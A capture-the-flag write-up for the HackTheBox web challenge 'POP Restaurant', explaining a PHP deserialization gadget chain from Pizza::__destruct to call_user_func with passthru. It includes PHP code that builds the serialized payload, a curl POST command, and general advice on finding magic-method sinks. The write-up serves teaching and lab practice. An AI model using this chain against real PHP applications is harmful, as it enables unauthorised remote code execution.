Note
order.php runs unserialize(base64_decode($_POST['data'])) on attacker input. Chain four magic methods — Pizza::__destruct echoes $size->what → Spaghetti::__get invokes ($sauce)() → IceCream::__invoke foreach over $flavors → ArrayHelpers (extends ArrayIterator)::current() runs call_user_func($callback,$value). Set callback=passthru to execute commands, output reflected via Apache stdout.
POP Restaurant — PHP unserialize POP chain → RCE
Platform: HackTheBox · Category: Web (server-side) · Stack: PHP on Apache (mod_php)
Challenge overview
order.php deserializes attacker-controlled data with no validation:
$order = unserialize(base64_decode($_POST['data']));
$foodName = get_class($order);
The flag has a randomized name, so we need RCE. The codebase ships exactly the classes needed for a property-oriented programming (POP) chain.
The gadgets
class Pizza { public $size;
public function __destruct() { echo $this->size->what; } } // -> property access
class Spaghetti{ public $sauce;
public function __get($x) { ($this->sauce)(); } } // -> invoke
class IceCream { public $flavors;
public function __invoke() { foreach ($this->flavors as $f) echo $f; } } // -> iterate
namespace Helpers;
class ArrayHelpers extends \ArrayIterator { // iterating it calls current()
public $callback;
public function current() { $v = parent::current(); call_user_func($this->callback, $v); return $v; } }
Chain
unserialize() finishes -> Pizza::__destruct
echo $this->size->what ($size = Spaghetti, property "what" doesn't exist)
-> Spaghetti::__get("what")
($this->sauce)() ($sauce = IceCream)
-> IceCream::__invoke()
foreach ($this->flavors) ($flavors = ArrayHelpers([cmd]))
-> ArrayHelpers::current()
call_user_func($this->callback, $value) ($callback = 'passthru', $value = 'cat /flag*')
-> passthru('cat /flag*') // RCE
Build the payload:
$ah = new Helpers\ArrayHelpers([$command]); $ah->callback = 'passthru';
$ic = new IceCream(); $ic->flavors = $ah;
$sp = new Spaghetti(); $sp->sauce = $ic;
$pz = new Pizza(); $pz->size = $sp;
$payload = base64_encode(serialize($pz));
// curl -X POST -d "data=$payload" http://target/order.php
passthru writes to stdout, which Apache forwards into the HTTP response — so the command output (and
flag) is reflected directly.
Takeaways (generalized techniques)
unserialize()on user input = object injection. Even with no obvious sink, scan the codebase for magic methods (__destruct,__wakeup,__get,__set,__toString,__invoke,__call) and thread them into a chain ending at a callable sink (call_user_func,system,file_put_contents).__destructis the universal entry point — it fires automatically when the deserialized object is freed at script end, so the chain runs without any further app interaction.ArrayIterator::current()overrides are great pivots: iterating the object (aforeach) triggers yourcurrent(), letting you reachcall_user_func($callback, $value)with both halves attacker-set.- Output reflection is free with mod_php:
passthru/system/echogo to stdout → Apache → HTTP response, no separate exfil needed.
Sources & references
- Challenge source:
hackthebox/web/POP_restaurant - PHP POP chains: https://book.hacktricks.xyz/pentesting-web/deserialization/php-deserialization-+-autoload-classes